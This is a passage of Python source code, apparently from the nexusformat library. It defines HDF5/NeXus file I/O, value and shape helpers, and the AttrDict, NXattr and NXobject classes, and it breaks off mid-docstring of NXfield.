        with _file as f:\n                    f.copy(_path, self[self.nxparent], self.nxpath)\n            else:\n                self.file.copy(_path, self[self.nxparent], self.nxpath)\n            data._uncopied_data = None\n        elif data._memfile:\n            data._memfile.copy('data', self[self.nxparent], self.nxpath)\n            data._memfile = None\n        elif data.nxfile and data.nxfile.filename != self.filename:\n            data.nxfile.copy(data.nxpath, self[self.nxparent])\n        elif data.dtype is not None:\n            if data.nxname not in self[self.nxparent]:\n                self[self.nxparent].create_dataset(data.nxname, \n                                                   shape=data.shape, dtype=data.dtype,\n                                                   **data._h5opts)\n            try:\n                if data._value is not None:\n                    self[self.nxpath][()] = data._value \n            except NeXusError:\n                pass\n        self._writeattrs(data.attrs)\n        self.nxpath = self.nxparent\n        return []\n\n    def _writeexternal(self, item):\n        self.nxpath = self.nxpath + '/' + item.nxname\n        if item._abspath:\n            filename = item.nxfilename\n        elif os.path.isabs(item._filename):\n            filename = os.path.relpath(os.path.realpath(item._filename), \n                           os.path.dirname(os.path.realpath(self.filename)))\n        else:\n            filename = item._filename\n        self[self.nxpath] = self.h5.ExternalLink(filename, item._target)\n        self.nxpath = self.nxparent\n\n    def _writelinks(self, links):\n        \"\"\"\n        Creates links within the NeXus file.\n\n        These are defined by the set of pairs returned by _writegroup.\n        \"\"\"\n        # link sources to targets\n        for path, target in links:\n            if path != target and path not in self['/'] and target in self['/']:\n                if 'target' not in self[target].attrs:\n                    self[target].attrs['target'] = target\n                self[path] = self[target]\n\n    def readpath(self, path):\n        self.nxpath = path\n        return self.readitem()\n\n    def readitem(self):\n        item = self.get(self.nxpath)\n        if isinstance(item, self.h5.Group):\n            return self._readgroup(self.nxname)\n        else:\n            return self._readdata(self.nxname)\n\n    def readvalues(self, attrs=None):\n        field = self.get(self.nxpath)\n        if field is None:\n            return None, None, None, {}\n        shape, dtype = field.shape, field.dtype\n        #Read in the data if it's not too large\n        if np.prod(shape) < 1000:# i.e., less than 1k dims\n            try:\n                value = self.readvalue(self.nxpath)\n            except Exception as error:\n                value = None\n        else:\n            value = None\n        if attrs is None:\n            attrs = self.attrs\n            if 'NX_class' in attrs and text(attrs['NX_class']) == 'SDS':\n                attrs.pop('NX_class')\n        return value, shape, dtype, attrs\n\n    def readvalue(self, path, idx=()):\n        field = self.get(path)\n        if field is not None:\n            return field[idx]\n        return None\n\n    def writevalue(self, path, value, idx=()):\n        self[path][idx] = value\n\n    def copyfile(self, input_file, **kwargs):\n        for entry in input_file['/']:\n            input_file.copy(entry, self['/'], **kwargs) \n        self._rootattrs()\n\n    def _rootattrs(self):\n        from datetime import datetime\n        self.file.attrs['file_name'] = self.filename\n        self.file.attrs['file_time'] = datetime.now().isoformat()\n        self.file.attrs['HDF5_Version'] = self.h5.version.hdf5_version\n        self.file.attrs['h5py_version'] = self.h5.version.version\n        from .. import __version__\n        self.file.attrs['nexusformat_version'] = __version__\n\n    def update(self, item):\n        self.nxpath = item.nxpath\n        if isinstance(item, AttrDict):\n            self._writeattrs(item)\n        else:\n            self.nxpath = self.nxparent\n            if isinstance(item, NXlink):\n                if item._filename is None:\n                    self._writelinks([(item.nxpath, item._target)])\n                else:\n                    self._writeexternal(item)\n            elif isinstance(item, NXfield):\n                self._writedata(item)\n            elif isinstance(item, NXgroup):\n                links = self._writegroup(item)\n                self._writelinks(links)\n            self.nxpath = item.nxpath\n\n    def reload(self):\n        self.nxpath = '/'\n        self._root._entries = self._readchildren()\n        for entry in self._root._entries:\n            self._root._entries[entry]._group = self._root\n        self._root._changed = True\n        self._root._file_modified = False\n\n    def rename(self, old_path, new_path):\n        if old_path != new_path:\n            self.file['/'].move(old_path, new_path)\n\n    @property\n    def filename(self):\n        \"\"\"File name on disk\"\"\"\n        return self.file.filename\n\n    @property\n    def file(self):\n        if not self.isopen():\n            self.open()\n        return self._file\n\n    @property\n    def mode(self):\n        return self._mode\n\n    @mode.setter\n    def mode(self, mode):\n        if mode == 'rw' or mode == 'r+':\n            self._mode = 'rw'\n        else:\n            self._mode = 'r'   \n        self.close()\n\n    @property\n    def attrs(self):\n        return self._readattrs()\n\n    @property\n    def nxpath(self):\n        return self._path.replace('//','/')\n\n    @nxpath.setter\n    def nxpath(self, value):\n        self._path = value.replace('//','/')\n\n    @property\n    def nxparent(self):\n        return '/' + self.nxpath[:self.nxpath.rfind('/')].lstrip('/')\n\n    @property\n    def nxname(self):\n        return self.nxpath[self.nxpath.rfind('/')+1:]\n\n\ndef _makeclass(cls, bases=None):\n    docstring = \"\"\"\n                %s group. This is a subclass of the NXgroup class.\n\n                See the NXgroup documentation for more details.\n                \"\"\" % cls\n    if bases is None:\n        bases = (NXgroup,)\n    return type(str(cls), bases, {'_class':cls, '__doc__':docstring})\n\n\ndef _getclass(cls, link=False):\n    if isinstance(cls, type):\n        cls = cls.__name__\n    if not cls.startswith('NX'):\n        return type(object)\n    elif cls in globals() and (not link or cls.startswith('NXlink')):\n        return globals()[cls]\n    if cls != 'NXlink' and cls.startswith('NXlink'):\n        link = True\n        cls = cls.replace('NXlink', 'NX')\n    if link:\n        if cls in globals():\n            bases = (NXlinkgroup, globals()[cls])\n            cls = cls.replace('NX', 'NXlink')\n            globals()[cls] = _makeclass(cls, bases)\n        else:\n            raise NeXusError(\"'%s' is not a valid NeXus class\" % cls)\n    else:\n        globals()[cls] = _makeclass(cls, (NXgroup,))\n    return globals()[cls]\n\n\ndef _getvalue(value, dtype=None, shape=None):\n    \"\"\"\n    Returns a value, dtype and shape based on the input Python value. If the\n    value is a string, it is converted to unicode. Otherwise, the value is \n    converted to a valid Numpy object.\n    \n    If the value is a masked array, the returned value is only returned as a \n    masked array if some of the elements are masked.\n\n    If 'dtype' and/or 'shape' are specified as input arguments, the value is \n    converted to the given dtype and/or reshaped to the given shape. Otherwise, \n    the dtype and shape are determined from the value.\n    \"\"\"\n    dtype, shape = _getdtype(dtype), _getshape(shape)\n    if isinstance(value, NXfield) or isinstance(value, NXattr):\n        value = value.nxvalue\n    if value is None:\n        return None, dtype, shape\n    elif is_text(value):\n        if shape is not None and shape != ():\n            raise NeXusError(\"The value is incompatible with the shape\")\n        if dtype is not None:\n            try:\n                _dtype = _getdtype(dtype)\n                if _dtype.kind == 'S':\n                    value = text(value).encode('utf-8')\n                return np.array(value, dtype=_dtype).item(), _dtype, ()\n            except Exception:\n                raise NeXusError(\"The value is incompatible with the dtype\")\n        else:\n            _value = text(value)\n            if _value == u'':\n                _value = u' '\n            return _value, string_dtype, ()\n    elif isinstance(value, np.ndarray):\n        if isinstance(value, np.ma.MaskedArray):\n            if value.count() < value.size: #some values are masked\n                _value = value\n            else:\n                _value = np.asarray(value)\n        else:\n            _value = np.asarray(value) #convert subclasses of ndarray\n    else:\n        try:\n            _value = [np.asarray(v) for v in value]\n            if len(set([v.shape for v in _value])) > 1:\n                raise NeXusError(\n                    \"Cannot assign an iterable with items of multiple shapes\")\n            _value = np.asarray(_value)\n        except TypeError:\n            _value = np.asarray(value)\n        if _value.dtype.kind == 'S' or _value.dtype.kind == 'U':\n            _value = _value.astype(string_dtype)\n    if dtype is not None:\n        if isinstance(value, np.bool_) and dtype != np.bool_:\n            raise NeXusError(\n                \"Cannot assign a Boolean value to a non-Boolean field\")\n        elif isinstance(_value, np.ndarray):\n            try:\n                _value = _value.astype(dtype)\n            except:\n                raise NeXusError(\"The value is incompatible with the dtype\")\n    if shape is not None and isinstance(_value, np.ndarray):\n        try:\n            _value = _value.reshape(shape)\n        except ValueError:\n            raise NeXusError(\"The value is incompatible with the shape\")\n    if _value.shape == ():\n        return _value.item(), _value.dtype, _value.shape\n    else:\n        return _value, _value.dtype, _value.shape\n\n\ndef _getdtype(dtype):\n    \"\"\"Return a valid h5py dtype.\n\n    This converts string dtypes to the special HDF5 dtype for variable length \n    strings. Other values are checked against valid Numpy dtypes.\n    \n    Parameters\n    ----------\n    dtype : dtype\n        Proposed datatype of an NXfield.\n    \n    Returns\n    -------\n    dtype\n        Valid dtype for storing in an HDF5 file.\n    \"\"\"\n    if dtype is None:\n        return None\n    elif is_text(dtype) and dtype == 'char':\n        return string_dtype\n    else:\n        try:\n            _dtype = np.dtype(dtype)\n            if _dtype.kind == 'U':\n                return string_dtype\n            else:\n                return _dtype\n        except TypeError:\n            raise NeXusError(\"Invalid data type: %s\" % dtype)\n\n\ndef _getshape(shape, maxshape=False):\n    \"\"\"Return valid shape tuple.\n\n    The returned shape tuple will contain integer values, unless maxshape is\n    True, in which case, values of None are allowed.\n    \n    Parameters\n    ----------\n    shape : tuple of int\n        Proposed new shape\n    maxshape : bool, optional\n        True if values of None are permitted in a shape element,\n        by default False\n    \n    Returns\n    -------\n    tuple of int\n        Valid shape tuple.\n    \"\"\"\n    if shape is None:\n        return None\n    else:\n        try:\n            if not is_iterable(shape):\n                shape = [shape]       \n            if maxshape:\n                return tuple([None if i is None else int(i) for i in shape])\n            elif None in shape:\n                return None\n            else:\n                return tuple([int(i) for i in shape])\n        except ValueError:\n            raise NeXusError(\"Invalid shape: %s\" % str(shape))\n\n    \ndef _getmaxshape(maxshape, shape):\n    \"\"\"Return maximum shape if compatible with the specified shape.\n\n    This raises a NeXusError if the length of the shapes do not match or if\n    any of the elements in maxshape are smaller than the corresponding \n    element in shape. If maxshape has a size of 1, an empty tuple is returned.\n    \n    Parameters\n    ----------\n    maxshape : tuple of int\n        Proposed maximum shape of the array\n    shape : tuple of int\n        Current shape of the array\n    \n    Returns\n    -------\n    tuple of int\n        Maximum shape\n    \"\"\"\n    maxshape, shape = _getshape(maxshape, maxshape=True), _getshape(shape)\n    if maxshape is None or shape is None:\n        return None\n    else:\n        if maxshape == (1,) and shape == ():\n            return ()\n        elif len(maxshape) != len(shape):\n            raise NeXusError(\n            \"Number of dimensions in maximum shape does not match the field\")\n        else:\n            if _checkshape(shape, maxshape):\n                return maxshape\n            else:\n                raise NeXusError(\"Maximum shape must be larger than the field shape\")\n\n\ndef _checkshape(shape, maxshape):\n    \"\"\"Return True if the shape is consistent with the maximum allowed shape.\n\n    Each element of shape must be less than or equal to the \n    corresponding element of maxshape, unless the latter is set to None, in \n    which case the value of the shape element is unlimited.\n    \n    Parameters\n    ----------\n    shape : tuple of int\n        Shape to be checked.\n    maxshape : tuple of int\n        Maximum allowed shape\n    \n    Returns\n    -------\n    bool\n        True if the shape is consistent.\n    \"\"\"\n    for i, j in [(_i, _j) for _i, _j in zip(maxshape, shape)]:\n        if i is not None and i < j:\n            return False\n    return True\n\n    \ndef _getsize(shape):\n    \"\"\"Return the total size of the array with the specified shape.\n\n    If the shape is None, a size of 1 is returned.\n    \n    Parameters\n    ----------\n    shape : tuple of int\n        Shape of the array.\n    \n    Returns\n    -------\n    int\n        Size of the array\n    \"\"\"\n    if shape is None:\n        return 1\n    else:\n        try:\n            return np.prod(shape)\n        except Exception:\n            return 1\n\n    \ndef _readaxes(axes):\n    \"\"\"\n    Returns a list of axis names stored in the 'axes' attribute.\n\n    The delimiter separating each axis can be white space, a comma, or a colon.\n    \"\"\"\n    if is_text(axes):\n        return list(re.split(r'[,:; ]', \n                    text(axes).strip('[]()').replace('][', ':')))\n    else:\n        return [text(axis) for axis in axes]\n\n\nclass AttrDict(dict):\n    \"\"\"A dictionary class used to assign and return values to NXattr instances.\n    \n    This is used to control the initialization of the NXattr objects and the\n    return of their values. For example, attributes that contain string or byte\n    arrays are returned as lists of (unicode) strings. Size-1 arrays are \n    returned as scalars. The 'get' function can be used to return the original \n    array. If the attribute are stored in a NeXus file with read/write access,\n    their values are automatically updated.\n    \n    Parameters\n    ----------\n    parent : NXobject\n        The field or group to which the attributes belong.\n    attrs : dict\n        A dictionary containing the first set of attributes.   \n    \"\"\"\n\n    def __init__(self, parent=None, attrs={}):\n        super(AttrDict, self).__init__()\n        self._parent = parent\n        self._setattrs(attrs)\n\n    def _setattrs(self, attrs):\n        for key, value in attrs.items():\n            super(AttrDict, self).__setitem__(key, NXattr(value))\n    \n    def __getitem__(self, key):\n        \"\"\"Returns the value of the requested NXattr object.\"\"\"\n        return super(AttrDict, self).__getitem__(key).nxvalue\n\n    def __setitem__(self, key, value):\n        \"\"\"Creates a new entry in the dictionary.\"\"\"\n        if value is None:\n            return\n        elif self._parent and self._parent.nxfilemode == 'w':\n            raise NeXusError(\"NeXus file opened as readonly\")\n        if isinstance(value, NXattr):\n            super(AttrDict, self).__setitem__(text(key), value)\n        else:\n            super(AttrDict, self).__setitem__(text(key), NXattr(value))\n        if self._parent and self._parent.nxfilemode == 'rw':\n            with self._parent.nxfile as f:\n                f.update(self)\n\n    def __delitem__(self, key):\n        \"\"\"Deletes an entry from the dictionary.\"\"\"\n        super(AttrDict, self).__delitem__(key)\n        try:\n            if self._parent.nxfilemode == 'rw':\n                with self._parent.nxfile as f:\n                    f.nxpath = self._parent.nxpath\n                    del f[f.nxpath].attrs[key]\n        except Exception:\n            pass\n\n    def get(self, key, default=None):\n        \"\"\"Retrieves the NXattr object stored in the dictionary.\"\"\"\n        try:\n            return super(AttrDict, self).__getitem__(key)\n        except KeyError:\n            return default\n\n    @property\n    def nxpath(self):\n        return self._parent.nxpath\n\nclass NXattr(object):\n    \"\"\"Class for NeXus attributes of a NXfield or NXgroup object.\n\n    Attributes\n    ----------\n    nxvalue : string, Numpy scalar, or Numpy ndarray\n        The value of the NeXus attribute modified as described below.\n    nxdata : string, Numpy scalar, or Numpy ndarray\n        The unmodified value of the NeXus attribute.\n    dtype : string\n        The data type of the NeXus attribute value.\n    shape : tuple\n        The shape of the NeXus attribute value.\n\n    Note\n    ----\n    NeXus attributes are stored in the 'attrs' dictionary of the parent object,\n    NXfield or NXgroup, but can often be referenced or assigned using the\n    attribute name as if it were an object attribute.\n\n    For example, after assigning the NXfield, the following three attribute\n    assignments are all equivalent::\n\n        >>> entry.sample.temperature = NXfield(40.0)\n        >>> entry.sample.temperature.attrs['units'] = 'K'\n        >>> entry.sample.temperature.units = NXattr('K')\n        >>> entry.sample.temperature.units = 'K'\n\n    The last version above is only allowed for NXfield attributes and is not \n    allowed if the attribute has the same name as one of the following\n    internally defined attributes, i.e.,\n\n    ['entries', 'attrs', 'dtype','shape']\n\n    or if the attribute name begins with 'nx' or '_'. It is only possible to\n    reference attributes with one of the proscribed names using the 'attrs'\n    dictionary.\n    \"\"\"\n\n    def __init__(self, value=None, dtype=None, shape=None):\n        if isinstance(value, NXattr) or isinstance(value, NXfield):\n            value = value.nxdata\n        elif isinstance(value, NXgroup):\n            raise NeXusError(\"A data attribute cannot be a NXgroup\")\n        self._value, self._dtype, self._shape = _getvalue(value, dtype, shape)\n\n    def __str__(self):\n        return text(self.nxvalue)\n\n    def __unicode__(self):\n        return text(self.nxvalue)\n\n    def __repr__(self):\n        if (self.dtype is not None and \n            (self.shape == () or self.shape == (1,)) and \n            (self.dtype.type == np.string_ or self.dtype.type == np.str_ or \n             self.dtype == string_dtype)):\n            return \"NXattr('%s')\" % self\n        else:\n            return \"NXattr(%s)\" % self\n\n    def __eq__(self, other):\n        \"\"\"Returns true if the values of the two attributes are the same.\"\"\"\n        if id(self) == id(other):\n            return True\n        elif isinstance(other, NXattr):\n            return self.nxvalue == other.nxvalue\n        else:\n            return self.nxvalue == other\n\n    def __hash__(self):\n        return id(self)\n\n    @property\n    def nxvalue(self):\n        \"\"\"Returns the attribute value.\n        \n        This is the value stored in the NeXus file, with the following\n        exceptions.\n            1) Size-1 arrays are returned as scalars.\n            2) String or byte arrays are returns as a list of strings.\n        \n        Note\n        ----\n        If unmodified values are required, use the 'nxdata' property.\n        \"\"\"\n        if self._value is None:\n            return ''\n        elif (self.dtype is not None and\n            (self.dtype.type == np.string_ or self.dtype.type == np.str_ or \n             self.dtype == string_dtype)):\n            if self.shape == ():\n                return text(self._value)\n            elif self.shape == (1,):\n                return text(self._value[0])\n            else:\n                return [text(value) for value in self._value[()]]\n        elif self.shape == (1,):\n            return self._value.item()\n        else:\n            return self._value\n\n    @property\n    def nxdata(self):\n        \"\"\"Returns the unmodified attribute value.\"\"\"\n        return self._value\n\n    @property\n    def dtype(self):\n        return self._dtype\n\n    @property\n    def shape(self):\n        try:\n            return tuple([int(i) for i in self._shape])\n        except (TypeError, ValueError):\n            return ()\n\n\n_npattrs = list(filter(lambda x: not x.startswith('_'), np.ndarray.__dict__))\n\n\nclass NXobject(object):\n\n    \"\"\"\n    Abstract base class for elements in NeXus files.\n\n    The object has a subclass of NXfield, NXgroup, or one of the NXgroup\n    subclasses. Child nodes should be accessible directly as object attributes.\n    Constructors for NXobject objects are defined by either the NXfield or\n    NXgroup classes.\n\n    **Python Attributes**\n\n    nxclass : string\n        The class of the NXobject. NXobjects can have class NXfield, NXgroup, or\n        be one of the NXgroup subclasses.\n    nxname : string\n        The name of the NXobject. Since it is possible to reference the same\n        Python object multiple times, this is not necessarily the same as the\n        object name. However, if the object is part of a NeXus tree, this will\n        be the attribute name within the tree.\n    nxgroup : NXgroup\n        The parent group containing this object within a NeXus tree. If the\n        object is not part of any NeXus tree, it will be set to None.\n    nxpath : string\n        The path to this object with respect to the root of the NeXus tree. For\n        NeXus data read from a file, this will be a group of class NXroot, but\n        if the NeXus tree was defined interactively, it can be any valid\n        NXgroup.\n    nxroot : NXgroup\n        The root object of the NeXus tree containing this object. For\n        NeXus data read from a file, this will be a group of class NXroot, but\n        if the NeXus tree was defined interactively, it can be any valid\n        NXgroup.\n    nxfile : NXFile\n        The file handle of the root object of the NeXus tree containing this\n        object.\n    nxfilename : string\n        The file name of NeXus object's tree file handle.\n    attrs : dict\n        A dictionary of the NeXus object's attributes.\n\n    **Methods**\n\n    dir(self, attrs=False, recursive=False):\n        Print the group directory.\n\n        The directory is a list of NeXus objects within this group, either NeXus\n        groups or NXfield data. If 'attrs' is True, NXfield attributes are\n        displayed. If 'recursive' is True, the contents of child groups are also\n        displayed.\n\n    tree:\n        Return the object's tree as a string.\n\n        It invokes the 'dir' method with both 'attrs' and 'recursive'\n        set to True. Note that this is defined as a property attribute and\n        does not require parentheses.\n\n    save(self, filename, format='w')\n        Save the NeXus group into a file\n\n        The object is wrapped in an NXroot group (with name 'root') and an\n        NXentry group (with name 'entry'), if necessary, in order to produce\n        a valid NeXus file.\n\n    \"\"\"\n\n    _class = \"unknown\"\n    _name = \"unknown\"\n    _group = None\n    _attrs = AttrDict()\n    _file = None\n    _filename = None\n    _abspath = False\n    _target = None\n    _external = None\n    _mode = None\n    _value = None\n    _memfile = None\n    _uncopied_data = None\n    _changed = True\n    _backup = None\n    _file_modified = False\n\n    def __getstate__(self):\n        result = self.__dict__.copy()\n        hidden_keys = [key for key in result if key.startswith('_')]\n        needed_keys = ['_class', '_name', '_group', '_target', \n                       '_entries', '_attrs', '_filename', '_mode', \n                       '_dtype', '_shape', '_value', '_h5opts', '_changed']\n        for key in hidden_keys:\n            if key not in needed_keys:\n                del result[key]\n        return result\n\n    def __setstate__(self, dict):\n        self.__dict__ = dict\n\n    def __str__(self):\n        return \"%s\" % self.nxname\n\n    def __repr__(self):\n        return \"NXobject('%s')\" % (self.nxname)\n\n    def __contains__(self, key):\n        return False\n\n    def _setattrs(self, attrs):\n        for k,v in attrs.items():\n            self._attrs[k] = v\n\n    def walk(self):\n        if False: \n            yield\n\n    def _str_name(self, indent=0):\n        return \" \" * indent + self.nxname\n\n    def _str_attrs(self, indent=0):\n        names = sorted(self.attrs)\n        result = []\n        for k in names:\n            txt1 = u\" \" * indent\n            txt2 = u\"@\" + k + \" = \"\n            txt3 = text(self.attrs[k])\n            if len(txt3) > 50:\n                txt3 = txt3[:46] + '...'\n            if is_text(self.attrs[k]):\n                txt3 =  u\"'\" + txt3 + \"'\"\n            else:\n                txt3 = txt3\n            txt = (txt1 + txt2 + txt3).replace(\"u'\", \"'\")\n            try:\n                txt = txt[:txt.index('\\n')]+'...'\n            except ValueError:\n                pass\n            result.append(txt)\n        return \"\\n\".join(result)\n\n    def _str_tree(self, indent=0, attrs=False, recursive=False):\n        \"\"\"\n        Prints the current object and children (if any).\n        \"\"\"\n        result = [self._str_name(indent=indent)]\n        if self.attrs and (attrs or indent==0):\n            result.append(self._str_attrs(indent=indent+2))\n        return \"\\n\".join(result)\n\n    def dir(self, attrs=False, recursive=False):\n        \"\"\"\n        Prints the object directory.\n\n        The directory is a list of NeXus objects within this object, either\n        NeXus groups or NXfields. If 'attrs' is True, NXfield attributes are\n        displayed. If 'recursive' is True, the contents of child groups are\n        also displayed.\n        \"\"\"\n        print(self._str_tree(attrs=attrs, recursive=recursive))\n\n    @property\n    def tree(self):\n        \"\"\"\n        Returns the directory tree as a string.\n\n        The tree contains all child objects of this object and their children.\n        It invokes the 'dir' method with 'attrs' set to False and 'recursive'\n        set to True.\n        \"\"\"\n        return self._str_tree(attrs=True, recursive=True)\n\n    @property\n    def short_tree(self):\n        \"\"\"\n        Returns the directory tree as a string.\n\n        The tree contains all child objects of this object and their children.\n        It invokes the 'dir' method with 'attrs' set to False and 'recursive'\n        set to True.\n        \"\"\"\n        return self._str_tree(attrs=False, recursive=2)\n\n    def rename(self, name):\n        name = text(name)\n        if name == self.nxname:\n            return\n        group = self.nxgroup\n        if group is not None:\n            if group.nxfilemode == 'r':\n                raise NeXusError(\"NeXus parent group is readonly\")\n            else:\n                signal = group.nxsignal\n                axes = group.nxaxes\n        elif self.nxfilemode == 'r':\n            raise NeXusError(\"NeXus file opened as readonly\")\n        old_path = self.nxpath\n        if group is not None:\n            new_path = group.nxpath + '/' + name\n            if not isinstance(self, NXroot) and group.nxfilemode == 'rw':\n                with group.nxfile as f:\n                    f.rename(old_path, new_path)\n            group.entries[name] = group.entries.pop(self._name)\n            if self is signal:\n                group.nxsignal = self\n            elif axes is not None:\n                if [x for x in axes if x is self]:\n                    group.nxaxes = axes\n        self._name = name\n        self.set_changed()\n\n    def save(self, filename=None, mode='w-', **kwargs):\n        \"\"\"\n        Saves the NeXus object to a data file.\n        \n        If the object is an NXroot group, this can be used to save the whole\n        NeXus tree. If the tree was read from a file and the file was opened as\n        read only, then a file name must be specified. Otherwise, the tree is\n        saved to the original file. \n        \n        An error is raised if the object is an NXroot group from an external \n        file that has been opened as readonly and no file name is specified.\n\n        If the object is not an NXroot, group, a filename must be specified. The\n        saved NeXus object is wrapped in an NXroot group (with name 'root') and \n        an NXentry group (with name 'entry'), if necessary, in order to produce \n        a valid NeXus file. Only the children of the object will be saved. This \n        capability allows parts of a NeXus tree to be saved for later use, e.g., \n        to store an NXsample group to be added to another file at a later time. \n        \n        **Example**\n\n        >>> data = NXdata(sin(x), x)\n        >>> data.save('file.nxs')\n        >>> print data.nxroot.tree\n        root:NXroot\n          @HDF5_Version = 1.8.2\n          @NeXus_version = 4.2.1\n          @file_name = file.nxs\n          @file_time = 2012-01-20T13:14:49-06:00\n          entry:NXentry\n            data:NXdata\n              axis1 = float64(101)\n              signal = float64(101)\n                @axes = axis1\n                @signal = 1              \n        >>> root.entry.data.axis1.units = 'meV'\n        >>> root.save()\n        \"\"\"\n        if filename:\n            if os.path.splitext(filename)[1] not in ['.nxs', '.nx5', '.h5',\n                                                     '.hdf', '.hdf5', '.cxi']:\n                filename = filename + '.nxs'\n            if self.nxclass == \"NXroot\":\n                root = self\n            elif self.nxclass == \"NXentry\":\n                root = NXroot(self)\n            else:\n                root = NXroot(NXentry(self)) \n            if mode != 'w':\n                write_mode = 'w-'\n            else:\n                write_mode = 'w'\n            with NXFile(filename, write_mode, **kwargs) as f:\n                f.writefile(root)\n                root = f._root\n                root._file = f\n            if mode == 'w' or mode == 'w-':\n                root._mode = 'rw'\n            else:\n                root._mode = mode\n            self.set_changed()\n            return root\n        else:\n            raise NeXusError(\"No output file specified\")\n\n    def update(self):\n        if self.nxfilemode == 'rw':\n            with self.nxfile as f:\n                f.update(self)\n        self.set_changed()\n\n    @property\n    def changed(self):\n        \"\"\"\n        Property: Returns True if the object has been changed.\n        \n        This property is for use by external scripts that need to track\n        which NeXus objects have been changed.\n        \"\"\"\n        return self._changed\n    \n    def set_changed(self):\n        \"\"\"\n        Sets an object's change status to changed.\n        \"\"\"\n        self._changed = True\n        if self.nxgroup:\n            self.nxgroup.set_changed()\n            \n    def set_unchanged(self, recursive=False):\n        \"\"\"\n        Sets an object's change status to unchanged.\n        \"\"\"\n        if recursive:\n            for node in self.walk():\n                node._changed = False\n        else:\n            self._changed = False\n\n    def _setclass(self, cls):\n        try:\n            class_ = _getclass(cls)\n            if issubclass(class_, NXobject):\n                self.__class__ = class_\n                self._class = self.__class__.__name__\n                if self._class.startswith('NXlink') and self._class != 'NXlink':\n                    self._class = 'NX' + self._class[6:]\n        except (TypeError, NameError):\n            raise NeXusError(\"Invalid NeXus class\")               \n    \n    @property\n    def nxclass(self):\n        return text(self._class)\n\n    @nxclass.setter\n    def nxclass(self, cls):\n        self._setclass(cls)\n        self.set_changed()\n\n    @property\n    def nxname(self):\n        return text(self._name)\n\n    @nxname.setter\n    def nxname(self, value):\n        self.rename(value)\n\n    @property\n    def nxgroup(self):\n        return self._group\n\n    @nxgroup.setter\n    def nxgroup(self, value):\n        if isinstance(value, NXgroup):\n            self._group = value\n        else:\n            raise NeXusError(\"Value must be a valid NeXus group\")    \n\n    @property\n    def nxpath(self):\n        group = self.nxgroup\n        if self.nxclass == 'NXroot':\n            return \"/\"\n        elif group is None:\n            return self.nxname\n        elif isinstance(group, NXroot):\n            return \"/\" + self.nxname\n        else:\n            return group.nxpath+\"/\"+self.nxname\n\n    @property\n    def nxroot(self):\n        if self._group is None or isinstance(self, NXroot):\n            return self\n        elif isinstance(self._group, NXroot):\n            return self._group\n        else:            \n            return self._group.nxroot\n\n    @property\n    def nxentry(self):\n        if self._group is None or isinstance(self, NXentry):\n            return self\n        elif isinstance(self._group, NXentry):\n            return self._group\n        else:\n            return self._group.nxentry\n\n    @property\n    def nxfile(self):\n        if self._file:\n            return self._file\n        elif not self.is_external() and self.nxroot._file:\n            return self.nxroot._file\n        elif self.nxfilename:\n            self._file = NXFile(self.nxfilename, self.nxfilemode)\n            return self._file\n        else:\n            return None\n\n    @property\n    def nxfilename(self):\n        if self._filename is not None:\n            if os.path.isabs(self._filename):\n                return self._filename\n            elif self._group is not None and self._group.nxfilename is not None:\n                return os.path.abspath(\n                    os.path.join(os.path.dirname(self._group.nxfilename),\n                                 self._filename))\n            else:\n                return os.path.abspath(self._filename)\n        elif self._group is not None:\n            return self._group.nxfilename\n        else:\n            return None\n\n    @property\n    def nxfilepath(self):\n        if self.nxclass == 'NXroot':\n            return \"/\"\n        elif isinstance(self, NXlink):\n            return self.nxtarget\n        elif self.nxgroup is None:\n            return \"\"\n        elif isinstance(self.nxgroup, NXroot):\n            return \"/\" + self.nxname\n        elif isinstance(self.nxgroup, NXlink):\n            group_path = self.nxgroup.nxtarget\n        else:\n            group_path = self.nxgroup.nxfilepath\n        if group_path:\n            return group_path+\"/\"+self.nxname\n        else:\n            return self.nxname\n\n    @property\n    def nxfullpath(self):\n        return self.nxfilename+\"['\"+self.nxfilepath+\"']\"\n\n    @property\n    def nxfilemode(self):\n        if self._mode is not None:\n            return self._mode\n        elif self._group is not None:\n            return self._group.nxfilemode\n        else:\n            return None\n\n    @property\n    def nxtarget(self):\n        return self._target\n\n    @property\n    def attrs(self):\n        if self._attrs is None:\n            self._attrs = AttrDict()\n        return self._attrs\n\n    def is_plottable(self):\n        return False\n\n    def is_external(self):\n        return (self.nxfilename is not None and \n                self.nxfilename != self.nxroot.nxfilename)\n\n    def file_exists(self):\n        if self.nxfilename is not None:\n            return os.path.exists(self.nxfilename)\n        else:\n            return True\n\n    def path_exists(self):\n        if self.is_external():\n            if self.file_exists():\n                with self.nxfile as f:\n                    return self.nxfilepath in f\n            else:\n                return False\n        else:\n            return True\n\n    def exists(self):\n        return self.file_exists() and self.path_exists()\n\n\nclass NXfield(NXobject):\n\n    \"\"\"\n    A NeXus data field.\n\n    This is a subclass of NXobject that contains scalar, array, or string data\n    and associated NeXus attributes.\n\n    Parameters\n    ----------\n    value : scalar value, Numpy array, or string\n        The numerical or string value of the NXfield, which is directly\n        accessible as the NXfield attribute 'nxdata'.\n    name : string\n        The name of the NXfield, which is directly accessible as the NXfield\n        attribute 'name'. If the NXfield is initialized as the attribute of a\n        parent object, the name is automatically set to the name of this\n        attribute.\n    dtype : string\n        The data type of the NXfield value, which is directly accessible as the\n        NXfield attribute 'dtype'. Valid input types correspond to standard\n        Numpy data types, using names defined by the NeXus API, i.e.,\n        'float32' 'float64'\n        'int8' 'int16' 'int32' 'int64'\n        'uint8' 'uint16' 'uint32' 'uint64'\n        'char'\n        If the data type is not specified, then it is determined automatically\n        by the data type of the 'value' parameter.\n    shape : list of ints\n        The dimensions of the NXfield data, which is accessible as the NXfield\n        attribute 'shape'. This corresponds to the shape of the Numpy array.\n        Scalars (numeric or string) are stored as Numpy zero-rank arrays,\n        for which shape=[].\n    attrs : dict\n        A dictionary containing NXfield attributes. The dictionary values should\n        all have class NXattr.\n    file : filename\n        The file from which the NXfield has been read.\n    path : string\n        The path to this object with respect to the root of the NeXus tree,\n        using the convention for unix file paths.\n    group : NXgroup or subclass of NXgroup\n        The parent NeXus object. If the NXfield is initialized as the attribute\n        of a parent group, this attribute is automatically set to the parent \n        group.\n\n    Attributes\n    ----------\n    nxclass : 'NXfield'\n        The class of the NXobject.\n    nxname : string\n        The name of the NXfield. Since it is possible to reference the same\n        Python object multiple times, this is not necessarily the same as the\n        object name. However, if the field is part of a NeXus tree, this will\n        be the attribute name within the tree.\n    nxgroup : NXgroup\n        The parent group containing this field within a NeXus tree. If the\n        field is not part of any NeXus tree, it will be set to None.\n    dtype : string or Numpy dtype\n        The data type of the NXfield value. If the NXfield has been initialized\n        but the data values have not been read in or defined, this is a string.\n        Otherwise, it is set to the equivalent Numpy dtype.\n    shape 